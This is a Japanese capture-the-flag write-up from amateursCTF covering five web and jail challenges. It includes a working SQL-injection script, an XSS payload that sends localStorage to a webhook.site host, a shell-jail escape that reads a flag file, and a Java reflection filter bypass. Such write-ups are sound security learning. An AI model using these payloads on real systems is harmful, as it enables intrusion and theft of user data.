4/6 - 4/10という日程で開催された。BunkyoWesternsで参加して6位。なかなかの開催期間の長さだった。
- [Web 53] denied (856 solves)
- [Web 184] one-shot (282 solves)
- [Web 302] sculpture (95 solves)
- [Jail 207] sansomega (230 solves)
- [Jail 355] javajail2 (54 solves)
[Web 53] denied (856 solves)
what options do i have?
(URL)
添付ファイル: index.js
以下のようなソースコードが与えられている。GETでアクセスすればCookieにフラグがセットされるが、req.method
が GET
だとダメだ。どうしろと。
const express = require('express') const app = express() const port = 3000 app.get('/', (req, res) => { if (req.method == "GET") return res.send("Bad!"); res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}") res.send('Winner!') }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })
HEAD
メソッドならばどうだろうかと思いついた。HEAD
メソッドではレスポンスボディが得られないけれども、今回フラグはCookieにセットされるので問題ない。試してみると、確かにいけた。
Expressのルーティング周りのコードを見てみると、メソッドが HEAD
である場合も GET
でアクセスされた場合と同じ扱いをしているようだった。なるほど。
CTFが始まってすぐは問題サーバが不安定だったために、すぐにこのコマンドをリモートで試すことはできなかった。後で試そうと思ってほかの問題を見ていると、Satokiさんがいつの間にか通していた。
amateursCTF{s0_m@ny_0ptions...}
[Web 184] one-shot (282 solves)
my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge!
(URL)
添付ファイル: app.py, Dockerfile
以下のようなソースコードが与えられている。重要なのは次のエンドポイントだ:
/new_session
にアクセスすると新たなセッションが生成され、ランダムなパスワードの入ったランダムなテーブルが作成される/guess
でこのパスワードを当てるとフラグが得られる/search
からパスワードを曖昧検索できるが、得られるのは最初の1文字のみ。自明なSQLiもある。ただし、この検索は一度しかできない
from flask import Flask, request, make_response import sqlite3 import os import re app = Flask(__name__) db = sqlite3.connect(":memory:", check_same_thread=False) flag = open("flag.txt").read() @app.route("/") def home(): return """ <h1>You have one shot.</h1> <form action="/new_session" method="POST"><input type="submit" value="New Session"></form> """ @app.route("/new_session", methods=["POST"]) def new_session(): id = os.urandom(8).hex() db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)") db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)") res = make_response(f""" <h2>Fragments scattered... Maybe a search will help?</h2> <form action="/search" method="POST"> <input type="hidden" name="id" value="{id}"> <input type="text" name="query" value=""> <input type="submit" value="Find"> </form> """) res.status = 201 return res @app.route("/search", methods=["POST"]) def search(): id = request.form["id"] if not re.match("[1234567890abcdef]{16}", id): return "invalid id" searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0] if searched: return "you've used your shot." db.execute(f"UPDATE table_{id} SET searched = 1") query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'") return f""" <h2>Your results:</h2> <ul> {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])} </ul> <h3>Ready to make your guess?</h3> <form action="/guess" method="POST"> <input type="hidden" name="id" value="{id}"> <input type="text" name="password" placehoder="Password"> <input type="submit" value="Guess"> </form> """ @app.route("/guess", methods=["POST"]) def guess(): id = request.form["id"] if not re.match("[1234567890abcdef]{16}", id): return "invalid id" result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone() if result != None: return flag db.execute(f"DROP TABLE table_{id}") return "You failed. <a href='/'>Go back</a>" @app.errorhandler(500) def ise(error): original = getattr(error, "original_exception", None) if type(original) == sqlite3.OperationalError and "no such table" in repr(original): return "that table is gone. <a href='/'>Go back</a>" return "Internal server error" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080)
パスワードの検索が一度しかできず、しかも返ってきたレコードについて最初の1文字しか得られないという制約がつらい。が、UNION SELECT substr(password, 1, 1) FROM table_{id} UNION SELECT substr(password, 2, 1) FROM table_{id} …
のように1レコードにつき1文字という形で UNION
しまくればよいのでは考えた。
けれども、それだとペイロードが長くなりすぎてあまり美しくない。WITH RECURSIVE
で殴ろう。
import re import httpx with httpx.Client(base_url='http://one-shot.amt.rs/') as client: r = client.post('/new_session') id = re.findall(r'id" value="([^"]+)', r.text)[0] payload = f"' and 0 == 1 union all select xx from (with recursive u(x) as (values((select password from table_{id})) union all select substr(x,2) from u where x != '') select substr(x,1,1)xx from u where xx != ''); -- " r = client.post('/search', data={ 'id': id, 'query': payload }) password = ''.join(re.findall(r'<li>(.)</li>', r.text)) print(f'{password=}') r = client.post('/guess', data={ 'id': id, 'password': password }) print(r.text)
実行するとフラグ(とフラグじゃないやつ)が得られた。
$ python3 s.py password='ece7f76c01c14b7de552bd89e26689c6' <p>amateursCTF{go_union_select_a_life}</p> <br /> <h3>alternative flags (these won't work) (also do not share):</h3> <p> amateursCTF{UNION_SELECT_life_FROM_grass} <br /> amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br /> amateursCTF{union_more_like_onion_*cronch*} <br /> amateursCTF{who_is_this_Niko_everyone_is_talking_about} </p>
amateursCTF{go_union_select_a_life}
[Web 302] sculpture (95 solves)
Client side rendered python turtle sculptures, why don't we play around with them.
Remote (for use in admin bot): (問題サーバのURL), (admin botへのreport用のURL)
添付ファイル: index.html, admin-bot-excerpt.js
Skulptによって、Webブラウザ上でPythonコードの実行ができるWebページが与えられている。turtle
や標準出力にも対応しているようだ。
index.html
を確認すると、標準出力へ出力された文字列は innerHTML
でレンダリングされるということがわかる。XSSチャンスだ。
… function outf(text) { var mypre = document.getElementById("output"); mypre.innerHTML = mypre.innerHTML + text; } … function runit() { var prog = document.getElementById("yourcode").value; var mypre = document.getElementById("output"); mypre.innerHTML = ''; Sk.pre = "output"; Sk.configure({output:outf, read:builtinRead}); …
また、Webページの読み込み時にクエリパラメータの code
からコードを持ってきて実行している様子もわかる。HTMLを出力するコードを実行させればよいのではないか。
document.addEventListener("DOMContentLoaded",function(ev){ document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code")); runit(); });
次のコードをDevToolsで実行し、localStorage
を外部に送信させるコードが実行されるようなURLを手に入れる。
location.href = '/?code=' + btoa(`print("<img src=x onerror=\\"navigator.sendBeacon('https://webhook.site/…', JSON.stringify(localStorage))\\">")`).replaceAll('+','%2b')
admin botにそのURLを通報すると、フラグが得られた。
amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}
[Jail 207] sansomega (230 solves)
Somehow I think the pico one had too many unintendeds...
So I left some more in :)
(問題サーバの接続情報)
添付ファイル: shell.py, Dockerfile
shell.py
は次の通り。入力したシェルスクリプトが /bin/sh
で実行されるけれども、20文字以上と長すぎるとダメだし、英大文字小文字やブラケット等の文字は使えない。
#!/usr/local/bin/python3 import subprocess BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]' def shell(): while True: cmd = input('$ ') if any(c in BANNED for c in cmd): print('Banned characters detected') exit(1) if len(cmd) >= 20: print('Command too long') exit(1) proc = subprocess.Popen( ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) print(proc.stdout.read().decode('utf-8'), end='') if __name__ == '__main__': shell()
シェルスクリプトであることに感謝。$0
には /bin/sh
が入っているはずだ。$0
と入力すればシェルが立ち上がるのではないか。試してみると、確かにシェルが立ち上がり、フラグが得られた。
$ nc … 2100 $ $0 cat /app/flag.txt exit amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
[Jail 355] javajail2 (54 solves)
okay sorry here's a real jail.
(問題サーバの接続情報)
添付ファイル: main.py
次のようなソースコードが与えられている。ユーザ入力がJavaコードとしてコンパイル・実行されるけれども、import
だとか flag.txt
だとか使えないワードが色々ある。
#!/usr/local/bin/python3 import subprocess BANNED = ['import', 'throws', 'new'] BANNED += ['File', 'Scanner', 'Buffered', 'Process', 'Runtime', 'ScriptEngine', 'Print', 'Stream', 'Field', 'javax'] BANNED += ['flag.txt', '^', '|', '&', '\'', '\\', '[]', ':'] print(''' Welcome to the Java Jail. Have fun coding in Java! ''') print('''Enter in your code below (will be written to Main.java), end with --EOF--\n''') code = '' while True: line = input() if line == '--EOF--': break code += line + '\n' for word in BANNED: if word in code: print('Not allowed') exit() with open('/tmp/Main.java', 'w') as f: f.write(code) print("Here's your output:") output = subprocess.run(['java', '-Xmx648M', '-Xss32M', '/tmp/Main.java'], capture_output=True) print(output.stdout.decode('utf-8'))
ゴールは flag.txt
を読むことにある。色々困りごとはあるが、それぞれ以下のようにして対応した。Javaについてよく知らないので回りくどいことをやっているかもしれない。もっときれいに解けるっぽいし。
なお、わざわざ enum
を使って main
メソッドを生やしているけれども、これはjavajail1と同様に class
が使えないと勘違いしていたためだ。この方法は "java without class" みたいなクエリでググって出てきたページを参考にした。
import
やFile
が使えないが、どのようにしてファイルを読むか。リフレクションでなんとかすればよい。Javaのドキュメントとにらめっこしつつ、使えそうなメソッドを探していった[]
が使えないので、[ ]
とスペースを挟んでいるnew byte[]
が使えないので、"aaaaa".getBytes()
で代替するURL.getContent
はObject
を返す。そのままだとread
が呼べないのでわざわざo
という変数に入れているStream
も使えないので結局o
はObject
で受けるしかなくて、そのためにリフレクションでread
を呼んでいる
byte[]
からString
への変換が面倒だったのでSystem.out.printf
で代替している
次のコードはこれらをあわせたものだ。
enum Color { RED; public static void main(String[ ] args) { try { byte[ ] s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes(); Object o = RED.getClass().getClassLoader().getResource("flag."+"txt").getContent(); o.getClass().getMethod("read", s.getClass()).invoke(o, s); for (int i = 0; i < s.length; i++) System.out.printf("%c", s[i]); } catch(Exception e) {} } }
送信するとフラグが得られた。
amateursCTF{r3flect3d_4cr055_all_th3_fac35}